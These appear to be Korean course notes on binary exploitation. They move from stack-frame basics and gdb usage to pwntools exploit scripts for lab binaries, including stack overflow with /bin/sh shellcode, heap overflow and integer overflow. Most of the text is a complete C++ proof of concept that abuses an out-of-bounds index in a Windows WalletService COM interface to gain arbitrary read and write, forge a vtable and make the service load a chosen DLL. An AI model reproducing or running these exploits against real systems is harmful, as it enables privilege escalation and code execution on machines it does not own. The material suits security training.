# Stack 공간이 할당되어 새로운 데이터가 있을 때, 메모리 주소 상 높은 곳에서 낮은 곳으로 자라남 R/ESP(Stack Pointer) => 마지막으로 스택에 데이터가 삽입된 자리(주소) R/EBP(Base Pointer) (RSP) PUSH POP 높은 주소 메인함수가 호출되기 직전에 rsp가 0x1010을 가리키고 있다면? push rbp mov rbp, rsp 0. push rbp 1. 베이스 포인터 저장 mov rbp, rsp rsp => 0x1010 rbp => 0x1010 2. 스택 포인터 이동 rbp => 0x1010 rsp => 0x1004 | main 함수의 스택 프레임 | ---------------------------------- mov rbp, rsp rbp => 0x1004 rsp => 0x1004 | add 함수의 스택 프레임 | 프링글스 통에 빨간색, 파란색, 노란색 공을 넣으면? call add() push rip mov rip, XXX push ebp mov ebp, esp push rbp mov rbp, rsp 함수가 복귀할 때 필요한 것. 1. 어디로 돌아가야 하는가? => Call 명령어가 실행될 때, push rip와 비슷한 동작이 수행됨 ``` 0x000000000000116b <+36>: call 0x1129 <add> 0x0000000000001170 <+41>: mov DWORD PTR [rbp-0x4],eax ``` 3. 상위 함수의 베이스 포인터 호출'된' 함수의 프롤로그에 의해 저장 push rbp 함수 프롤로그 부모 함수의 베이스 포인터를 백업하고, 새 베이스 포인터를 생성하는 것 1. Call add rbp => 0x1040 rsp => 0x1018 0x1010 | retaddr(main 함수 중간 주소) | 결과: 스택에 복귀 주소가 저장되고 rsp가 낮아짐(0x1010) 2. add의 함수 프롤로그(1) rbp => 0x1040 rsp => 0x1010 push rbp 0x1010 | retaddr(main 함수 중간 주소) | 0x1008 | 0x1040(main함수의 베이스) | 결과 : 스택에 main 함수의 베이스가 저장되고, rsp가 낮아짐(0x1008) 3. add 함수 프롤로그(2) mov rbp, rsp 결과: rbp => 0x1008 rsp => 0x1008 ## 함수 에필로그 백업된 베이스 포인터로 bp를 복구하고, 리턴 어드레스로 이동 leave - mov rsp, rbp - pop rbp rbp => 0x1040 rsp => 0x1010 ret - pop rip # 디버깅 실습 ```clike // stack.c #include <stdio.h> int add(int a, int b){ int c = a + b; return c; } int main(){ int a = 4; int b = 2; int c = add(a,b); return 0; } ``` ``` gcc stack.c -no-pie -o stack ``` # gdb 명령어 함수 디스어셈블 - (gdb-peda) pd [함수명] breakpoint - (gdb-peda) b *main+4 - (gdb-peda) b *0x401010 breakpoint 확인 - (gdb-peda) info break breakpoint 삭제 - (gdb-peda) d [number] 레지스트리 출력 - (gdb-peda) info reg [register] 메모리 출력 - (gdb-peda) x/2[gx|wx|i|s] [$rsp || 0x404040] # 버퍼 확인하기 1. read함수를 호출하는 시점에 인자를 확인 2. r <<< "AAAA" 와 같은 방법으로 gdb에서 프로그램 실행 시 표준 입력을 대체할 수 있음 3. read 함수 호출 후 버퍼에 저장된 데이터 확인 4. r <<< \`perl -e 'print "A"x512'\` 와 같은 스크립팅 가능 ## python pwntools 설치 가상머신 인터넷 연결이 안 되어 있을 경우, 가상머신 설정에서 네트워크 어댑터를 Bridge에서 NAT로 변경 ``` python3 -m pip install pwntools ``` ## bof1 실습 ```python from pwn import * p = process("./bof1") print(p.recv(1024)) gdb.attach(p) payload = b"A" * 520 payload += p64(0x00000000004011dd) p.send(payload) print(p.recv(1024)) pause() ``` ## bof2 ```python from pwn import * p = process("./bof2") data = p.recv(1024) addr_str = data.split(b" @ ")[1].split(b"\n")[0] addr = int(addr_str.decode(), 16) shellcode = (b"\x90" * 0x100 ) + b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05" dummy = b"A" * (520 - len(shellcode)) payload = shellcode + dummy + p64(addr) p.send(payload) p.interactive() ``` ### heap overflow ```python from pwn import * p = process("./heap_overflow") # gdb.attach(p) def create(): # menu p.recvuntil(b"> ") p.send(b"1\n") def insert(idx, data): # menu p.recvuntil(b"> ") p.send(b"2\n") # select idx p.recvuntil(b"> ") p.send(idx + b'\n') # input p.recvuntil(b"> ") p.send(data + b'\n') def modify(idx, data): # menu p.recvuntil(b"> ") p.send(b"3\n") # select idx p.recvuntil(b"> ") p.send(idx + b'\n') # input p.recvuntil(b"> ") p.send(data + b'\n') ``` Buffer Overflow 취약점은 **인접한 메모리**를 변조하는 유형의 취약점. 그러므로 **인접한 메모리**에 저장된 것이 무엇인지 알아야 함. 힙 메모리의 경우 고정으로 배치되는 값이 없기 때문에, 필요하다면 필요에 맞게 힙 객체를 배치하는 과정이 필요함(**힙 풍수**) 이를 위해, 1. 어떤 객체(공간+기능)를 할당할 수 있는가? 2. 조작되었을 때 유의미한 값 또는 기능을 가진 객체가 있는가? 3. 어떻게 변조할 수 있으며, 해당 값을 어떤 값으로 바꾸면 되는가? 와 같은 고민을 해볼 수 있음. ## peda 코드 수정 ```python def sigint_handler(event): # warning_msg("Got Ctrl+C / SIGINT!") gdb.execute("set logging off") peda.restore_user_command("all") # raise KeyboardInterrupt # signal.signal(signal.SIGINT, sigint_handler) gdb.events.stop.connect(sigint_handler) ``` 풍수 create - insert - create - insert ``` data[0] data->ptr data->size 0x1d2012a0: 0x000000001d2012c0 0x0000000000000021 0x1d2012b0: 0x0000000000000000 0x0000000000000031 data[0] - buffer 0x1d2012c0: 0x4141414141414141 0x4141414141414141 0x1d2012d0: 0x4141414141414141 0x4141414141414141 0x1d2012e0: 0x000000000000000a 0x0000000000000021 data[1] data->ptr data->size 0x1d2012f0: 0x000000001d201310 0x0000000000000011 0x1d201300: 0x0000000000000000 0x0000000000000021 0x1d201310: 0x4242424242424242 0x4242424242424242 -------------------------------------------------- data[0] data->ptr data->size 0x1d2012a0: 0x000000001d2012c0 0x0000000000000021 0x1d2012b0: 0x0000000000000000 0x0000000000000031 0x1d2012c0: 0x4343434343434343 0x4343434343434343 0x1d2012d0: 0x4343434343434343 0x4343434343434343 0x1d2012e0: 0x4343434343434343 0x4343434343434343 data[1] data->ptr(overflowed) data->size 0x1d2012f0: 0x4343434343434343 0x000000000000000a 0x1d201300: 0x0000000000000000 0x0000000000000021 0x1d201310: 0x4242424242424242 0x4242424242424242 -------------------------------------------------- exploited data[0] data->ptr data->size gdb-peda$ x/16gx 0x000000002b08e2a0 0x2b08e2a0: 0x000000002b08e2c0 0x0000000000000005 0x2b08e2b0: 0x0000000000000000 0x0000000000000021 0x2b08e2c0: 0x4141414141414141 0x4141414141414141 0x2b08e2d0: 0x4141414141414141 0x4141414141414141 data[1] data->ptr(flag의 주소로 변조) data->size 0x2b08e2e0: 0x0000000000404090 0x000000000000000a 0x2b08e2f0: 0x0000000000000000 0x0000000000000021 0x2b08e300: 0x0000000a41414141 0x0000000000000000 0x2b08e310: 0x0000000000000000 0x0000000000020cf1 ``` ```python from pwn import * p = process("./heap_overflow") # gdb.attach(p) def create(): # menu p.recvuntil(b"> ") p.send(b"1\n") def insert(idx, data): # menu p.recvuntil(b"> ") p.send(b"2\n") # select idx p.recvuntil(b"> ") p.send(idx + b'\n') # input p.recvuntil(b"> ") p.send(data + b'\n') def modify(idx, data): # menu p.recvuntil(b"> ") p.send(b"3\n") # select idx p.recvuntil(b"> ") p.send(idx + b'\n') # input p.recvuntil(b"> ") p.send(data + b'\n') create() insert(b"0", b"AAAA") create() insert(b"1", b"AAAA") gdb.attach(p) pause() payload = b"\x41" * 0x20 payload += p64(0x404090) # flag's address modify(b"0", payload) print("ptr modified") pause() payload = p32(0x31337) modify(b"1", payload) print("flag modified") pause() print(p.recv(1024)) pause() ``` ## integer 예제 파일 https://drive.google.com/file/d/1VUBY4I35k2j1hfIFsYuacy7ps0ZOT-7S/view?usp=sharing ```clike= uint32_t len = param->keySz + param->valSz; if(len > DICT_SIZE - 2 - dicts[idx]->curSz) return -1; ``` **dicts[idx]->curSz** 는 현재 버퍼의 사용중인 크기를 의미함. 위 검증 구문은 새로 입력하고자 하는 데이터가 버퍼의 남은 크기보다 큰 경우 예외하고자 함인데, curSz가 4096까지의 데이터를 가질 수 있으므로, curSz가 **4095 이상**인 경우부터 **4096 - 2 - 4095 = -1 (0xffffffff)** unsigned int의 MAX에 가까운 값으로 계산되므로, **버퍼의 남은 크기** 계산이 불가능 Buffer Overflow 취약점으로 이어진다. ```python from pwn import * p = process('./dict') #p = remote('localhost', 5555) flag = 0x404150 def createDict(): p.recvuntil(b'> ') p.send(b'1\n') def insert(idx, key, value): p.recvuntil(b'> ') p.send(b'2\n') p.recvuntil(b'Dict idx > ') p.sendline(idx) p.recvuntil(b'Key > ') p.send(key) p.recvuntil(b'Value > ') p.send(value) createDict() createDict() for i in range(25): insert(b"0", b"a" * 32, b"b"*128) sleep(0.1) insert(b"0", b"a" * 32, b"b"*11) insert(b"0", b"A" * 16 + b"\x00" * 8 + p64(flag - 1), b"b" * 1) insert(b"1", p64(0x31337), b"d") p.interactive() ``` ### Windbg Symbol Path ``` SRV*c:\symbols*http://msdl.microsoft.com/download/symbols ``` #### Windows x64 Calling Convention rcx rdx r8 r9 순서로 인자가 전달됨. 단, 인스턴스에서 메소드를 호출하는 경우 첫번째 인자는 항상 this임 ``` obj->CreateWalletItem(1, &obj1); ``` 위 코드에서, 1은 코드 상 첫번째 인자지만 함수가 수행될 때 두번째 인자임(rdx) 첫번째 인자인 rcx는 obj 자체(this) ### poc ``` // crash code here! hr = obj1->CreateCustomProperty(&obj2); if (FAILED(hr)) { PrintError(__LINE__, hr); } uint32_t a = 0; uint32_t b = 0; obj2->GetGroup(0, &a, &b); ``` ### windbg ``` x walletservice!*GetGroup* ``` ### 디버깅 순서? 클라이언트 프로그램에 디버거를 연결한 게 아니기 때문에, 확인하고 싶은 스텝의 전 후에 getchar() 함수를 넣어 사용자 입력 전까지 다음 코드가 실행되지 않도록 설정함. ``` # 관리자 셸에서 windbg -psn WalletService ``` ``` dd rcx+0x74+(8*-10) dd rcx+0x78+(8*-10) ``` ## leak ```clike // leak code here hr = obj1->CreateCustomProperty(&obj2); if (FAILED(hr)) { PrintError(__LINE__, hr); } printf("GetGroup"); getchar(); uint32_t high = 0; uint32_t low = 0; int32_t idx = 0; // Modify this obj2->GetGroup(-4, &high, &low); uint64_t heap = ((uint64_t)high << 32); heap += low; heap -= 0x60; printf("heap @ %llx\n", heap); return 0; ``` ``` bm walletservice!Wallet::WalletCustomProperty::GetGroup ``` ```clike= #include "pch.h" class __declspec(uuid("21f1a452-9759-48a5-8d9b-bbd859ef89ee")) IWalletCustomProperty : public IUnknown { public: virtual HRESULT __stdcall GetLabel(struct tagPROPVARIANT* p0); virtual HRESULT __stdcall SetLabel(struct tagPROPVARIANT* p0); virtual HRESULT __stdcall GetValue(struct tagPROPVARIANT* p0); virtual HRESULT __stdcall SetValue(struct tagPROPVARIANT* p0); virtual HRESULT __stdcall Proc7( /* ENUM32 */ uint32_t* p0); virtual HRESULT __stdcall Proc8( /* ENUM32 */ uint32_t p0); virtual HRESULT __stdcall GetGroup( /* ENUM32 */ uint32_t idx, /* ENUM32 */ uint32_t* v1, uint32_t* v2); virtual HRESULT __stdcall SetGroup( /* ENUM32 */ uint32_t idx, /* ENUM32 */ uint32_t v1, uint32_t v2); }; class __declspec(uuid("16083582-9360-4758-8978-46970ae14999")) IWalletItem : public IUnknown { public: virtual HRESULT __stdcall Proc3(int64_t* p0); virtual HRESULT __stdcall Proc4( /* ENUM32 */ uint32_t* p0, int64_t p1, int64_t* p2); virtual HRESULT __stdcall Proc5( /* ENUM32 */ uint32_t* p0); virtual HRESULT __stdcall Proc6( /* ENUM32 */ uint32_t p0, struct Struct_97* p1); virtual HRESULT __stdcall Proc7( /* ENUM32 */ uint32_t p0, struct Struct_97* p1); virtual HRESULT __stdcall Proc8( /* ENUM32 */ uint32_t p0, int64_t* p1); virtual HRESULT __stdcall Proc9( /* ENUM32 */ uint32_t p0, int64_t* p1); virtual HRESULT __stdcall CreateCustomProperty(IWalletCustomProperty** p0); virtual HRESULT __stdcall Proc11(wchar_t* p0, IWalletCustomProperty** p1); virtual HRESULT __stdcall Proc12(wchar_t* p0, IWalletCustomProperty* p1); virtual HRESULT __stdcall Proc13(wchar_t* p0, struct Struct_97* p1, struct Struct_97* p2, /* ENUM32 */ uint32_t* p3); virtual HRESULT __stdcall Proc14(wchar_t* p0, struct Struct_97* p1, struct Struct_97* p2, /* ENUM32 */ uint32_t p3); virtual HRESULT __stdcall Proc15(VARIANT* p0); virtual HRESULT __stdcall Proc16( /* ENUM32 */ uint32_t p0, VARIANT* p1); virtual HRESULT __stdcall Proc17(int64_t* p0); virtual HRESULT __stdcall Proc18(); virtual HRESULT __stdcall Proc19( /* ENUM32 */ uint32_t p0); virtual HRESULT __stdcall Proc20(IWalletItem* p0); virtual HRESULT __stdcall Proc21( /* ENUM32 */ uint32_t* p0); virtual HRESULT __stdcall Proc22(int64_t* p0); }; class __declspec(uuid("14ff27de-1dc9-4617-8ed3-9a042d52391f")) IWalletItemList : public IUnknown { public: virtual HRESULT __stdcall HasPendingChanges( /* ENUM32 */ uint32_t* p0); virtual HRESULT __stdcall GetItemCount(ULONG* p0); virtual HRESULT __stdcall GetItemAt(int64_t p0, IWalletItem** p1); virtual HRESULT __stdcall Proc6(int64_t p0); virtual HRESULT __stdcall Proc7(int64_t p0, int64_t* p1); virtual HRESULT __stdcall Proc8(int64_t p0, int64_t* p1); virtual HRESULT __stdcall Proc9(int64_t p0, /* ENUM32 */ uint32_t* p1); virtual HRESULT __stdcall Proc10(IWalletItemList* p0); }; class __declspec(uuid("fe8a7c3d-a504-4c31-81ec-d8ec8d9fa6b7")) IWalletTransactionManager : public IUnknown { public: virtual HRESULT __stdcall Proc3(int64_t p0, IWalletItemList** p1); virtual HRESULT __stdcall Proc4(IWalletItem* p0, IWalletItem** p1); virtual HRESULT __stdcall Proc5(int64_t* p0); virtual HRESULT __stdcall Proc6(int64_t p0); virtual HRESULT __stdcall Proc7(int64_t p0); }; class __declspec(uuid("c5b00653-be27-41f2-b669-d780698f8d9d")) IWalletLocationManager : public IUnknown { public: virtual HRESULT __stdcall Proc3(int64_t p0, IWalletItemList** p1); virtual HRESULT __stdcall Proc4(IWalletItem* p0, IWalletItem** p1); virtual HRESULT __stdcall Proc5(int64_t* p0); virtual HRESULT __stdcall Proc6(int64_t p0); virtual HRESULT __stdcall Proc7(int64_t p0); virtual HRESULT __stdcall Proc8(); virtual HRESULT __stdcall Proc9(int64_t* p0); virtual HRESULT __stdcall Proc10(); virtual HRESULT __stdcall Proc11(); }; class __declspec(uuid("b9860518-0cdf-4dba-a981-807f3cbdc80a")) IWalletX : public IUnknown { public: virtual HRESULT __stdcall Proc3(IWalletItemList** p0); virtual HRESULT __stdcall Proc4(IWalletItemList** p0); virtual HRESULT __stdcall Proc5(wchar_t* p0, IWalletItem** p1); virtual HRESULT __stdcall Proc6(); virtual HRESULT __stdcall Proc7(IWalletTransactionManager** p0); virtual HRESULT __stdcall Proc8(IWalletLocationManager** p0); virtual HRESULT __stdcall Proc9(IWalletItem* p0, /* ENUM32 */ uint32_t p1); virtual HRESULT __stdcall Proc10(int64_t p0, int64_t* p1); virtual HRESULT __stdcall CreateWalletItem( /* ENUM32 */ uint32_t p0, IWalletItem** p1); virtual HRESULT __stdcall Proc12(wchar_t* p0, IWalletItem** p1); virtual HRESULT __stdcall Proc13(int64_t p0, IWalletItem** p1); virtual HRESULT __stdcall Proc14(IWalletItem* p0); virtual HRESULT __stdcall Proc15(IWalletItem* p0, wchar_t* p1); virtual HRESULT __stdcall Proc16(IWalletItem* p0, /* ENUM32 */ uint32_t* p1); virtual HRESULT __stdcall Proc17(IWalletItem* p0, int64_t p1); virtual HRESULT __stdcall Proc18(wchar_t* p0, IWalletItem** p1); virtual HRESULT __stdcall Proc19(wchar_t* p0); }; IWalletX* obj; IWalletItem* obj1; IWalletCustomProperty* obj2, * obj3; ULONG64 heap; int PrintError(unsigned int line, HRESULT hr) { wprintf_s(L"ERROR: Line:%d HRESULT: 0x%X\n", line, hr); return hr; } void write(size_t addr, void *buf, UINT size=8) { uint32_t num1 = addr & 0xffffffff, num2 = addr >> 32, backup, nouse; if (num2 == -1 || num1 == 0x20) { puts("error addr, try again"); exit(-1); } obj2->GetGroup(-9, &backup, &nouse); obj2->SetGroup(-9, backup, num1); obj2->GetGroup(-8, &nouse, &backup); obj2->SetGroup(-8, num2, backup); addr = -1; num1 = addr & 0xffffffff; num2 = addr >> 32; obj2->GetGroup(-7, &backup, &nouse); obj2->SetGroup(-7, backup, num1); obj2->GetGroup(-6, &nouse, &backup); obj2->SetGroup(-6, num2, backup); tagPROPVARIANT input; input.vt = 8; input.bstrVal = SysAllocStringLen((const OLECHAR*)buf, size); obj2->SetLabel(&input); } char* read(size_t addr, size_t size=8) { uint32_t num1 = addr & 0xffffffff, num2 = addr >> 32, backup, backup1, nouse; char* buf = new char[size + 1]{ 0 }, * p = buf; obj2->GetGroup(-9, &backup, &nouse); obj2->GetGroup(-8, &nouse, &backup1); for (size_t i = 0; i < size; i++) { obj2->SetGroup(-9, backup, num1++); obj2->SetGroup(-8, num2, backup1); tagPROPVARIANT input; input.vt = 8; input.bstrVal = 0; obj2->GetLabel(&input); *p++ = *(char*)input.bstrVal; } return buf; } DWORD poc(LPVOID dllpath) { CoInitializeEx(NULL, COINIT_MULTITHREADED); HRESULT hr; CLSID clsid; IID iid; CLSIDFromString(OLESTR("{97061DF1-33AA-4B30-9A92-647546D943F3}"), &clsid); IIDFromString(OLESTR("{b9860518-0cdf-4dba-a981-807f3cbdc80a}"), &iid); hr = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&obj); if (FAILED(hr)) { PrintError(__LINE__, hr); } hr = obj->CreateWalletItem(1, &obj1); if (FAILED(hr)) { PrintError(__LINE__, hr); } hr = obj1->CreateCustomProperty(&obj2); if (FAILED(hr)) { PrintError(__LINE__, hr); } for(int i=0;i<10;i++) hr = obj1->CreateCustomProperty(&obj3); uint32_t out1, out2; heap = 0; hr = obj2->GetGroup(-13,&out1,&out2); if (FAILED(hr)) { PrintError(__LINE__, hr); } heap = out2; hr = obj2->GetGroup(-12, &out1, &out2); if (FAILED(hr)) { PrintError(__LINE__, hr); } heap += (ULONG64)out1 << 32; printf("heap @ 0x%llx\n", heap); // heap printf("WalletCustomProperty @ 0x%llx\n", heap - 0x20); //----------------------------------------------- size_t walletservice = (size_t)LoadLibrary(L"walletservice.dll"); size_t dxgi = (size_t)LoadLibrary(L"dxgi.dll"); size_t dxgi_environ = 0xC5E68 + dxgi; size_t dxgi_environ_length = 0xC5E80 + dxgi; printf("dxgi_environ @ %llx\n", dxgi_environ); printf("dxgi_environ_length @ %llx\n", dxgi_environ_length); size_t FakeVTBuf = 0x66EB0 + walletservice - 0x500; // read / writable memory in WalletService size_t NeedFlagBuf = 0x66F30 + walletservice - 0x500; size_t myenviron = 0x66F38 + walletservice - 0x500; printf("FakeVTBuf @ %llx\n", FakeVTBuf); printf("NeedFlagBuf @ 0x%llx\nwill_call: 0x%llx\n", NeedFlagBuf, dxgi + 0x011D00); printf("myenviron @ %llx\n", myenviron); write(myenviron, (void*)dllpath, wcslen((const wchar_t*)dllpath) + 1); size_t fakevtable_start = FakeVTBuf; size_t fakevtable[] = { 0x4141414141, 0x4141414142, 0x4141414143, dxgi + 0x011D00 }; size_t tmp; for (auto i : fakevtable) { tmp = i; write(fakevtable_start, &tmp,8); fakevtable_start += 8; } tmp = NeedFlagBuf - 0x174; write(heap + 0x60, &tmp, 8); tmp = 1; write(NeedFlagBuf, &tmp, 8); tmp = myenviron; write(dxgi_environ, &tmp, 8); tmp = 0x530; write(dxgi_environ_length, &tmp, 4); write(dxgi_environ_length + 0xc, &tmp, 8); write(heap-0x20, &FakeVTBuf, 8); // this's vtable is currupted uint32_t ac = 1; tagPROPVARIANT t = { }; hr = obj2->GetLabel(&t); // call dxgi!ATL::CComObject<CDXGIAdapter>::`vector deleting destructor if (FAILED(hr)) { PrintError(__LINE__, hr); } puts("Done!"); while(1){} // hang return 0; } int wmain(int argc,wchar_t **argv) { if (argc != 2) { printf("usage: %ws .dll(Absolute_path)\n", argv[0]); exit(0); } poc(argv[1]); } ```